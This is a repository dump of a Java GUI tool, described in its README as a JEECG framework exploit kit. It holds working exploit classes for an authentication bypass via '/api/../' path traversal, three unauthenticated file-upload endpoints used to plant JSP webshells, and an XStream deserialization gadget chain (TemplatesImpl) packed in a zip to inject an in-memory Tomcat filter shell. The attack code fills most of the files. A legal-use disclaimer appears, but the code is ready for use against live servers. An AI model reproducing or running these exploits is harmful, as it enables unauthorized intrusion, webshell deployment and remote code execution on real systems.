Repository: K-7H7l/Jeecg_Tools
Branch: main
Commit: a8694cc28bb4
Files: 23
Total size: 10.4 MB
Directory structure:
gitextract_yojn6ymm/
├── README.md
├── pom.xml
├── src/
│ └── main/
│ ├── java/
│ │ └── com/
│ │ └── example/
│ │ └── jeecg_tools/
│ │ ├── HelloApplication.java
│ │ ├── HelloController.java
│ │ ├── MainRunner.java
│ │ ├── common/
│ │ │ └── BasePayload.java
│ │ ├── entity/
│ │ │ └── Result.java
│ │ ├── exploit/
│ │ │ ├── JEECG_XstreamInject.java
│ │ │ ├── JEECG_commonUpload.java
│ │ │ ├── JEECG_iconUpload.java
│ │ │ ├── JEECG_jeecgFormDemo.java
│ │ │ └── JEECG_unauthorized.java
│ │ └── util/
│ │ ├── ExppList.java
│ │ └── Tools.java
│ └── resources/
│ ├── META-INF/
│ │ └── MANIFEST.MF
│ └── com/
│ └── example/
│ └── jeecg_tools/
│ └── hello-view.fxml
└── target/
├── Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar
├── Jeecg_Tools-1.0-SNAPSHOT.jar
├── classes/
│ ├── META-INF/
│ │ └── MANIFEST.MF
│ └── com/
│ └── example/
│ └── jeecg_tools/
│ └── hello-view.fxml
├── maven-archiver/
│ └── pom.properties
└── maven-status/
└── maven-compiler-plugin/
└── compile/
└── default-compile/
├── createdFiles.lst
└── inputFiles.lst
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
## 介绍
**本工具为jeecg框架漏洞利用工具非jeecg-boot！**
**包含poc：**
- **登录绕过检测**
- **jeecgFormDemo文件上传**
- **common文件上传**
- **icon文件上传**
- **Xstream反序列化**
## 使用
**运行于jdk8环境**
```shell
java -jar Jeecg_Tools-1.0-java8.jar
```
## 参考
[ThinkphpGUI](https://github.com/Lotus6/ThinkphpGUI)
https://mp.weixin.qq.com/s/kLJLXc_tn1mrClweaX2bkw
https://mp.weixin.qq.com/s/mV4GNI9O4a1pT3ve3Mt75Q
## 声明
本工具仅能在取得足够合法授权的企业安全建设中使用，在使用本工具过程中，您应确保自己所有行为符合当地的法律法规。
如您在使用本工具的过程中存在任何非法行为，您将自行承担所有后果，本工具所有开发者和所有贡献者不承担任何法律及连带责任。
除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。
您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
================================================
FILE: pom.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>Jeecg_Tools</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Jeecg_Tools</name>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<junit.version>5.8.1</junit.version>
</properties>
<dependencies>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-controls</artifactId>
<version>11.0.2</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-fxml</artifactId>
<version>11.0.2</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<!-- <dependency>-->
<!-- <groupId>com.github.kevinsawicki</groupId>-->
<!-- <artifactId>http-request</artifactId>-->
<!-- <version>6.0</version>-->
<!-- <scope>test</scope>-->
<!-- </dependency>-->
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.29</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<!-- <dependency>-->
<!-- <groupId>com.github.kevinsawicki</groupId>-->
<!-- <artifactId>http-request</artifactId>-->
<!-- <version>6.0</version>-->
<!-- </dependency>-->
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>11</source>
<target>11</target>
</configuration>
</plugin>
<!-- <plugin>-->
<!-- <groupId>org.openjfx</groupId>-->
<!-- <artifactId>javafx-maven-plugin</artifactId>-->
<!-- <version>0.0.8</version>-->
<!-- <executions>-->
<!-- <execution>-->
<!-- <!– Default configuration for running with: mvn clean javafx:run –>-->
<!-- <id>default-cli</id>-->
<!-- <configuration>-->
<!-- <mainClass>com.example.jeecg_tools.HelloApplication</mainClass>-->
<!-- <launcher>app</launcher>-->
<!-- <jlinkZipName>app</jlinkZipName>-->
<!-- <jlinkImageName>app</jlinkImageName>-->
<!-- <noManPages>true</noManPages>-->
<!-- <stripDebug>true</stripDebug>-->
<!-- <noHeaderFiles>true</noHeaderFiles>-->
<!-- </configuration>-->
<!-- </execution>-->
<!-- </executions>-->
<!-- </plugin>-->
<!-- <plugin>-->
<!-- <groupId>org.apache.maven.plugins</groupId>-->
<!-- <artifactId>maven-shade-plugin</artifactId>-->
<!-- <version>3.2.1</version>-->
<!-- <configuration>-->
<!-- <createDependencyReducedPom>false</createDependencyReducedPom>-->
<!-- <transformers>-->
<!-- <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">-->
<!-- <mainClass>com.example.jeecg_tools.HelloApplication</mainClass>-->
<!-- </transformer>-->
<!-- </transformers>-->
<!-- </configuration>-->
<!-- <executions>-->
<!-- <execution>-->
<!-- <phase>package</phase>-->
<!-- <goals>-->
<!-- <goal>shade</goal>-->
<!-- </goals>-->
<!-- </execution>-->
<!-- </executions>-->
<!-- </plugin>-->
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.5.5</version>
<configuration>
<archive>
<manifest>
<mainClass>com.example.jeecg_tools.MainRunner</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin>
</plugins>
</build>
</project>
================================================
FILE: src/main/java/com/example/jeecg_tools/HelloApplication.java
================================================
package com.example.jeecg_tools;
import cn.hutool.http.GlobalHeaders;
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Scene;
import javafx.stage.Stage;
import java.io.IOException;
public class HelloApplication extends Application {
@Override
public void start(Stage stage) throws IOException {
FXMLLoader fxmlLoader = new FXMLLoader(HelloApplication.class.getResource("hello-view.fxml"));
Scene scene = new Scene(fxmlLoader.load(), -1, -1);
scene.getRoot().setStyle("-fx-font-family: 'serif'");
stage.setTitle("Jeecg-exp-GUI");
stage.setScene(scene);
stage.show();
}
// public static void main(String[] args) {
// launch();
// }
}
================================================
FILE: src/main/java/com/example/jeecg_tools/HelloController.java
================================================
package com.example.jeecg_tools;
import cn.hutool.http.HttpResponse;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
import com.example.jeecg_tools.util.ExppList;
import com.example.jeecg_tools.util.Tools;
import javafx.fxml.FXML;
import cn.hutool.http.HttpRequest;
import javafx.scene.control.Button;
import javafx.scene.control.CheckBox;
import javafx.scene.control.ComboBox;
import javafx.scene.control.TextArea;
import javafx.scene.input.MouseEvent;
import javafx.scene.control.Alert;
import cn.hutool.http.GlobalHeaders;
import java.time.LocalDate;
import java.util.List;
public class HelloController {
//Alert alert = new Alert(Alert.AlertType.INFORMATION);
@FXML
private CheckBox CheckHEAD_;
@FXML
private TextArea FileContent_;
@FXML
private TextArea FileName_;
@FXML
private Button FileUpload_;
@FXML
private TextArea OutPath_;
@FXML
private TextArea URL_;
@FXML
private Button Vulcheck_;
@FXML
private TextArea INFO_;
@FXML
private TextArea XsContent_;
@FXML
private TextArea XsFilename_;
@FXML
private TextArea XsXsOut_;
@FXML
private Button Inject_;
@FXML
private TextArea HEAD_;
@FXML
private ComboBox<String> comboBox;
Alert alert = new Alert(Alert.AlertType.INFORMATION);
public void initialize() {
XsFilename_.setText(LocalDate.now()+".zip");
this.comboBox.setValue("ALL");
this.comboBox.getItems().add("ALL");
this.comboBox.getItems().addAll(ExppList.get_exp());
this.CheckHEAD_.setSelected(false);
}
@FXML
void Cookie_(MouseEvent event) {
if(this.CheckHEAD_.isSelected()){
String header = HEAD_.getText();
if(!header.isEmpty()){
String hea = header.trim();
int index = hea.indexOf(":");
if (index == -1) {
this.alert.setTitle("提示:");
this.alert.setHeaderText(null);
this.alert.setContentText("请求头格式错误！");
this.alert.showAndWait();
return;
}
String mapk = hea.substring(0,index);
String mapv = hea.substring(index+1);
GlobalHeaders.INSTANCE.clearHeaders();
GlobalHeaders.INSTANCE.header(mapk,mapv);
}
}else{
GlobalHeaders.INSTANCE.clearHeaders();
}
}
@FXML
void Inject(MouseEvent event) throws Exception {
this.Cookie_(event);
String url = URL_.getText();
String filename = XsFilename_.getText();
String payload = XsContent_.getText();
BasePayload bp = Tools.getPayload("JEECG Xstream反序列化");
Result vul = bp.Inject(url, filename, payload);
if (vul.isRes()) {
XsXsOut_.setText("[+] 已尝试注入，请访问！");
} else {
XsXsOut_.setText("[-] 注入失败！"+vul.getPayload()+vul.getVuln());
}
}
@FXML
void FileUpload(MouseEvent event) throws Exception {
this.Cookie_(event);
String url = URL_.getText();
String version = comboBox.getSelectionModel().getSelectedItem();
if (!version.contains("文件上传")){
this.alert.setTitle("提示:");
this.alert.setHeaderText(null);
this.alert.setContentText("请选择上传类漏洞！");
this.alert.showAndWait();
return;
}
String filename = FileName_.getText();
String filecontent = FileContent_.getText();
BasePayload bp = Tools.getPayload(version);
Result vul = bp.fileUpload(url, filename, filecontent);
if (vul.isRes()) {
OutPath_.setText("[+] 文件上传成功：" + url + "/" + vul.getVuln());
} else {
OutPath_.setText("[-] 文件上传失败！");
}
}
@FXML
void VulCheck(MouseEvent event) throws Exception {
this.Cookie_(event);
String url = URL_.getText();
try {
HttpRequest res = HttpRequest.get(url);
HttpResponse execute = res.execute();
System.out.println(execute.body());
}catch (Exception e){
INFO_.setText("[-] 访问：" + new String(URL_.getText())+"失败！\n\n" + e);
return;
}
String version = comboBox.getSelectionModel().getSelectedItem();
if(version == "ALL"){
INFO_.setText("");
List<String> explist = ExppList.get_exp();
for (int i = 0; i < explist.size(); i++) {
BasePayload bp = Tools.getPayload(explist.get(i));
Result vul = bp.checkVUL(url);
if(vul.isRes()){
INFO_.appendText("[+] 存在接口："+explist.get(i)+"，请尝试漏洞利用！\n\n访问URL："+vul.getPayload()+"\n\n"+"-------------------------------\n\n\n");
}else{
INFO_.appendText("[-] 不存在漏洞："+explist.get(i)+"\n\n访问URL："+vul.getPayload()+"\n\n请尝试登录后利用！"+"\n\n"+"-------------------------------\n\n\n");
}
}
return;
}
BasePayload bp = Tools.getPayload(version);
Result vul = bp.checkVUL(url);
if(vul.isRes()){
INFO_.setText("[+] 存在接口："+version+"，请尝试漏洞利用！\n\n访问URL："+vul.getPayload()+"\n\n"+"返回包：" + vul.getVuln());
}else{
INFO_.setText("[-] 不存在漏洞："+version+"\n\n访问URL："+vul.getPayload()+"\n\n"+"返回包：" + vul.getVuln());
}
}
@FXML
void onCleanlog(MouseEvent event) {
INFO_.setText("");
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/MainRunner.java
================================================
package com.example.jeecg_tools;
public class MainRunner {
public static void main(String[] args) {
HelloApplication.launch(HelloApplication.class);
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/common/BasePayload.java
================================================
package com.example.jeecg_tools.common;
import com.example.jeecg_tools.entity.Result;
public interface BasePayload {
Result checkVUL(String str) throws Exception;
Result exeVUL(String str,String str2) throws Exception;
Result getShell(String str) throws Exception;
Result fileUpload(String str, String filename,String filecontent) throws Exception;
Result Inject(String url,String xsfilename,String payload) throws Exception;
}
================================================
FILE: src/main/java/com/example/jeecg_tools/entity/Result.java
================================================
package com.example.jeecg_tools.entity;
public class Result {
boolean res;
String payload;
String vuln;
public boolean isRes() {
return res;
}
public void setRes(boolean res) {
this.res = res;
}
public String getPayload() {
return payload;
}
public void setPayload(String payload) {
this.payload = payload;
}
public String getVuln() {
return vuln;
}
public void setVuln(String vuln) {
this.vuln = vuln;
}
public Result(boolean res, String payload, String vuln) {
this.res = res;
this.payload = payload;
this.vuln = vuln;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java
================================================
package com.example.jeecg_tools.exploit;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.Method;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
import java.io.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class JEECG_XstreamInject implements BasePayload {
@Override
public Result checkVUL(String str) throws Exception {
String payload = str+"/api/../cgformSqlController.do?doMigrateIn";
try {
cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload);
req.method(Method.GET);
HttpResponse execute = req.execute();
String reqbody = execute.body();
if (execute.getStatus()==200){
return new Result(true,payload, reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,payload,null);
}
@Override
public Result exeVUL(String str, String str2) throws Exception {
return null;
}
@Override
public Result getShell(String str) throws Exception {
return null;
}
@Override
public Result fileUpload(String str, String filename, String filecontent) throws Exception {
return null;
}
@Override
public Result Inject(String url, String xsfilename, String payload) throws Exception {
byte[] zipBytes;
String uri = url+"/api/../cgformSqlController.do?doMigrateIn";
System.out.println("inject");
String head = "<linked-hash-set>\n" +
" <dynamic-proxy>\n" +
" <interface>map</interface>\n" +
" <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +
" <classToInvocationHandler class='linked-hash-map'/>\n" +
" <defaultHandler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Object</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Object</class>\n" +
" <name>hashCode</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" +
" <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" <default>\n" +
" <__name>Pwnr</__name>\n" +
" <__bytecodes>\n" +
" <byte-array>";
String tail = "</byte-array>\n" +
" </__bytecodes>\n" +
" <__transletIndex>-1</__transletIndex>\n" +
" <__indentNumber>0</__indentNumber>\n" +
" </default>\n" +
" <boolean>false</boolean>\n" +
" </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" </proxy>\n" +
" <implementing__method>\n" +
" <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" +
" <name>getOutputProperties</name>\n" +
" <parameter-types/>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </defaultHandler>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</linked-hash-set>";
try {
String Payload = head+payload+tail;
// 创建一个字节数组输出流，用于存储ZIP文件内容
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// 创建ZIP输出流
ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);
// 创建一个XML文件内容
byte[] xmlBytes = Payload.getBytes();
// 创建一个ZIP条目（相当于ZIP文件中的一个文件）
ZipEntry zipEntry = new ZipEntry("1.xml");
zipOutputStream.putNextEntry(zipEntry);
// 写入XML文件内容到ZIP条目
zipOutputStream.write(xmlBytes,0,xmlBytes.length);
zipOutputStream.closeEntry();
zipOutputStream.close();
zipBytes= byteArrayOutputStream.toByteArray();
}catch(IOException e){
return new Result(false,"出现错误！", String.valueOf(e));
}
try{
cn.hutool.http.HttpRequest httpRequest = new cn.hutool.http.HttpRequest(uri);
httpRequest.setMethod(Method.POST);
httpRequest.form("file",zipBytes,xsfilename);
HttpResponse rep = httpRequest.execute();
int startcode = rep.getStatus();
String reqbody = rep.body();
if (startcode==200 && reqbody.contains("converters")){
return new Result(true,null, null);
}else{
return new Result(false,"返回内容：\n\n", reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java
================================================
package com.example.jeecg_tools.exploit;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.Method;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
public class JEECG_commonUpload implements BasePayload {
@Override
public Result Inject(String url, String xsfilename, String payload) throws Exception {
return null;
}
@Override
public Result checkVUL(String str) throws Exception {
String payload = str+"/api/../commonController.do?parserXml";
try {
HttpResponse req = HttpRequest.get(payload).execute();
String reqbody = req.body();
if (req.getStatus()==200){
return new Result(true,payload, reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,payload,null);
}
@Override
public Result exeVUL(String str, String str2) throws Exception {
return null;
}
@Override
public Result getShell(String str) throws Exception {
return null;
}
@Override
public Result fileUpload(String str, String filename, String filecontent) throws Exception {
String payload = str+"/api/../commonController.do?parserXml";
byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);
Map<String,Object> map = new HashMap<>();
map.put("name",filename);
map.put("documentTitle","blank");
try{
HttpRequest httpRequest = new HttpRequest(payload);
httpRequest.setMethod(Method.POST);
httpRequest.form(map);
httpRequest.form("file",fileContentByte,filename);
HttpResponse rep = httpRequest.execute();
int startcode = rep.getStatus();
String reqbody = rep.body();
if (startcode==200 && reqbody.contains("true")){
return new Result(true,null, filename);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,null,null);
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java
================================================
package com.example.jeecg_tools.exploit;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.Method;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
public class JEECG_iconUpload implements BasePayload {
@Override
public Result checkVUL(String str) throws Exception {
String payload = str+"/api/../iconController.do?saveOrUpdateIcon";
try {
HttpResponse req = HttpRequest.get(payload).execute();
String reqbody = req.body();
if (req.getStatus()==200){
return new Result(true,payload, reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,payload,null);
}
@Override
public Result exeVUL(String str, String str2) throws Exception {
return null;
}
@Override
public Result getShell(String str) throws Exception {
return null;
}
@Override
public Result fileUpload(String str, String filename,String filecontent) throws Exception {
String payload = str+"/api/../iconController.do?saveOrUpdateIcon";
byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);
Map<String,Object> map = new HashMap<>();
map.put("iconType","");
map.put("iconName","");
try{
HttpRequest httpRequest = new HttpRequest(payload);
httpRequest.setMethod(Method.POST);
httpRequest.form(map);
httpRequest.form("file",fileContentByte,filename);
HttpResponse rep = httpRequest.execute();
int startcode = rep.getStatus();
String reqbody = rep.body();
if (startcode==200 && reqbody.contains("true")){
return new Result(true,null, "/plug-in/accordion/images/"+filename);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,null,null);
}
@Override
public Result Inject(String url, String xsfilename, String payload) throws Exception {
return null;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java
================================================
package com.example.jeecg_tools.exploit;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.Method;
import cn.hutool.json.JSONObject;
import cn.hutool.json.JSONUtil;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
public class JEECG_jeecgFormDemo implements BasePayload {
@Override
public Result checkVUL(String str) throws Exception {
String payload = str+"/api/../jeecgFormDemoController.do?saveFiles";
try {
HttpResponse req = HttpRequest.get(payload).execute();
String reqbody = req.body();
if (req.getStatus()==200){
return new Result(true,payload, reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,payload,null);
}
@Override
public Result exeVUL(String str, String str2) throws Exception {
return null;
}
@Override
public Result getShell(String str) throws Exception {
return null;
}
@Override
public Result fileUpload(String str, String filename,String filecontent) throws Exception {
String payload = str+"/api/../jeecgFormDemoController.do?saveFiles";
byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8);
Map<String,Object> map = new HashMap<>();
map.put("name","");
map.put("documentTitle","");
try{
HttpRequest httpRequest = new HttpRequest(payload);
httpRequest.setMethod(Method.POST);
httpRequest.form(map);
httpRequest.form("file",fileContentByte,filename);
HttpResponse rep = httpRequest.execute();
int startcode = rep.getStatus();
String reqbody = rep.body();
JSONObject jsonrep = JSONUtil.parseObj(reqbody);
String sitefile =jsonrep.getByPath("attributes.url").toString();
if (startcode==200 && !sitefile.isEmpty()){
return new Result(true,null, sitefile);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,null,null);
}
@Override
public Result Inject(String url, String xsfilename, String payload) throws Exception {
return null;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java
================================================
package com.example.jeecg_tools.exploit;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.Method;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.entity.Result;
public class JEECG_unauthorized implements BasePayload {
@Override
public Result checkVUL(String str) throws Exception {
String payload = str+"/api/../systemController.do?typeGroupTabs";
try {
cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload);
req.method(Method.GET);
HttpResponse rep =req.execute();
String reqbody = rep.body();
if (rep.getStatus()==200){
return new Result(true,payload, reqbody);
}
}catch (Exception e){
e.printStackTrace();
}
return new Result(false,payload,null);
}
@Override
public Result exeVUL(String str, String str2) throws Exception {
return null;
}
@Override
public Result getShell(String str) throws Exception {
return null;
}
@Override
public Result fileUpload(String str, String filenmae, String filecontent) throws Exception {
return null;
}
@Override
public Result Inject(String url, String xsfilename, String payload) throws Exception {
return null;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/util/ExppList.java
================================================
package com.example.jeecg_tools.util;
import java.util.ArrayList;
import java.util.List;
public class ExppList {
public static List<String> get_exp() {
List<String> list = new ArrayList<>();
list.add("JEECG 登录绕过");
list.add("JEECG jeecgFormDemo文件上传");
list.add("JEECG common文件上传");
list.add("JEECG icon文件上传");
list.add("JEECG Xstream反序列化");
return list;
}
}
================================================
FILE: src/main/java/com/example/jeecg_tools/util/Tools.java
================================================
package com.example.jeecg_tools.util;
import com.example.jeecg_tools.common.BasePayload;
import com.example.jeecg_tools.exploit.*;
import java.net.Authenticator;
import java.util.HashMap;
import java.util.Map;
import java.net.ProxySelector;
public class Tools {
private static final Map<String, BasePayload>payloadMap =new HashMap<>();
static {
payloadMap.put("JEECG 登录绕过",new JEECG_unauthorized());
payloadMap.put("JEECG icon文件上传",new JEECG_iconUpload());
payloadMap.put("JEECG jeecgFormDemo文件上传",new JEECG_jeecgFormDemo());
payloadMap.put("JEECG common文件上传",new JEECG_commonUpload());
payloadMap.put("JEECG Xstream反序列化",new JEECG_XstreamInject());
}
public static BasePayload getPayload(String select){
return payloadMap.get(select);
}
}
================================================
FILE: src/main/resources/META-INF/MANIFEST.MF
================================================
Manifest-Version: 1.0
Main-Class: com.example.jeecg_tools.HelloApplication
================================================
FILE: src/main/resources/com/example/jeecg_tools/hello-view.fxml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.Insets?>
<?import javafx.scene.control.Button?>
<?import javafx.scene.control.CheckBox?>
<?import javafx.scene.control.ComboBox?>
<?import javafx.scene.control.Label?>
<?import javafx.scene.control.Menu?>
<?import javafx.scene.control.MenuBar?>
<?import javafx.scene.control.MenuItem?>
<?import javafx.scene.control.Tab?>
<?import javafx.scene.control.TabPane?>
<?import javafx.scene.control.TextArea?>
<?import javafx.scene.control.TitledPane?>
<?import javafx.scene.layout.AnchorPane?>
<?import javafx.scene.text.Text?>
<AnchorPane prefHeight="643.0" prefWidth="804.0" xmlns="http://javafx.com/javafx/17" xmlns:fx="http://javafx.com/fxml/1" fx:controller="com.example.jeecg_tools.HelloController">
<children>
<TitledPane layoutY="24.0" prefHeight="115.0" prefWidth="804.0" text="漏洞检测">
<content>
<AnchorPane minHeight="0.0" minWidth="0.0" prefHeight="85.0" prefWidth="802.0">
<children>
<TextArea fx:id="URL_" layoutX="64.0" layoutY="13.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="379.0" text="http://192.168.43.54:8080/jeecg" />
<Label layoutX="8.0" layoutY="19.0" prefHeight="17.0" prefWidth="43.0" text="URL：" />
<Button fx:id="Vulcheck_" layoutX="632.0" layoutY="14.0" onMousePressed="#VulCheck" text="漏洞检测" textAlignment="RIGHT">
<opaqueInsets>
<Insets left="20.0" />
</opaqueInsets>
</Button>
<Button fx:id="Clean_" layoutX="711.0" layoutY="14.0" mnemonicParsing="false" onMousePressed="#onCleanlog" text="清空日志" />
<ComboBox fx:id="comboBox" layoutX="458.0" layoutY="14.0" prefWidth="150.0" />
<Label layoutX="8.0" layoutY="56.0" prefHeight="17.0" prefWidth="58.0" text="请求头：" wrapText="true" />
<TextArea fx:id="HEAD_" layoutX="64.0" layoutY="50.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="545.0" text="Cookie: JSESSIONID=4542BAB4C4C024F42DA05EC85186AE4D;" wrapText="true" />
<CheckBox fx:id="CheckHEAD_" layoutX="626.0" layoutY="56.0" mnemonicParsing="false" text="使用请求头" />
</children>
</AnchorPane>
</content>
</TitledPane>
<TitledPane layoutY="139.0" prefHeight="506.0" prefWidth="804.0" text="漏洞利用">
<content>
<TabPane prefHeight="481.0" prefWidth="802.0" tabClosingPolicy="UNAVAILABLE">
<tabs>
<Tab text="基本信息">
<content>
<AnchorPane prefHeight="448.0" prefWidth="802.0">
<children>
<TextArea fx:id="INFO_" layoutX="9.0" layoutY="14.0" prefHeight="428.0" prefWidth="785.0" text=" 工具说明：本工具为jeecg框架漏洞利用工具非jeecg-boot！" />
</children>
</AnchorPane>
</content>
</Tab>
<Tab text="文件上传">
<content>
<AnchorPane prefHeight="414.0" prefWidth="802.0">
<children>
<Text layoutX="14.0" layoutY="34.0" strokeType="OUTSIDE" strokeWidth="0.0" text="文件名称：" wrappingWidth="76.3837890625" />
<TextArea fx:id="FileName_" layoutX="90.0" layoutY="15.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="354.0" text="test.jsp" />
<Button fx:id="FileUpload_" layoutX="464.0" layoutY="16.0" mnemonicParsing="false" onMousePressed="#FileUpload" text="Upload" />
<TextArea fx:id="FileContent_" layoutX="9.0" layoutY="53.0" prefHeight="230.0" prefWidth="785.0" text="<% out.println("HelloWorld");%>" wrapText="true" />
<TextArea fx:id="OutPath_" layoutX="9.0" layoutY="290.0" prefHeight="152.0" prefWidth="785.0" />
</children>
</AnchorPane>
</content></Tab>
<Tab text="Xstream内存马">
<content>
<AnchorPane minHeight="0.0" minWidth="0.0" prefHeight="180.0" prefWidth="200.0">
<children>
<Text layoutX="14.0" layoutY="34.0" strokeType="OUTSIDE" strokeWidth="0.0" text="文件名称：" />
<TextArea fx:id="XsFilename_" layoutX="90.0" layoutY="15.0" minHeight="-Infinity" prefHeight="29.0" prefWidth="354.0" />
<Button fx:id="Inject_" layoutX="469.0" layoutY="17.0" mnemonicParsing="false" onMousePressed="#Inject" text="Inject" />
<TextArea fx:id="XsContent_" layoutX="9.0" layoutY="53.0" prefHeight="230.0" prefWidth="785.0" text="JMG工具生成Tomcat-Filter-BASE64-专项JDK_AbstractTranslet内存马Payload yv66vgAAADEBtAEAJW9yZy9zc......" wrapText="true" />
<TextArea fx:id="XsXsOut_" layoutX="9.0" layoutY="290.0" prefHeight="152.0" prefWidth="785.0" text="说明： jeecg Xstream反序列化漏洞通过文件上传触发 注意：后缀名必须为.zip 且不可重复，否则可能会加载之前的payload" />
</children>
</AnchorPane>
</content>
</Tab>
</tabs>
</TabPane>
</content>
</TitledPane>
<MenuBar layoutY="-2.0" prefHeight="19.0" prefWidth="804.0">
<menus>
<Menu mnemonicParsing="false" text="代理">
<items>
<MenuItem mnemonicParsing="false" text="还没写～" />
</items>
</Menu>
<Menu mnemonicParsing="false" text="关于">
<items>
<MenuItem mnemonicParsing="false" text="也没有～" />
</items>
</Menu>
</menus>
</MenuBar>
</children>
<opaqueInsets>
<Insets />
</opaqueInsets>
</AnchorPane>
================================================
FILE: target/Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar
================================================
[File too large to display: 10.3 MB]
================================================
FILE: target/classes/META-INF/MANIFEST.MF
================================================
Manifest-Version: 1.0
Main-Class: com.example.jeecg_tools.MainRunner
================================================
FILE: target/classes/com/example/jeecg_tools/hello-view.fxml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.Insets?>
<?import javafx.scene.control.Button?>
<?import javafx.scene.control.CheckBox?>
<?import javafx.scene.control.ComboBox?>
<?import javafx.scene.control.Label?>
<?import javafx.scene.control.Menu?>
<?import javafx.scene.control.MenuBar?>
<?import javafx.scene.control.MenuItem?>
<?import javafx.scene.control.Tab?>
<?import javafx.scene.control.TabPane?>
<?import javafx.scene.control.TextArea?>
<?import javafx.scene.control.TitledPane?>
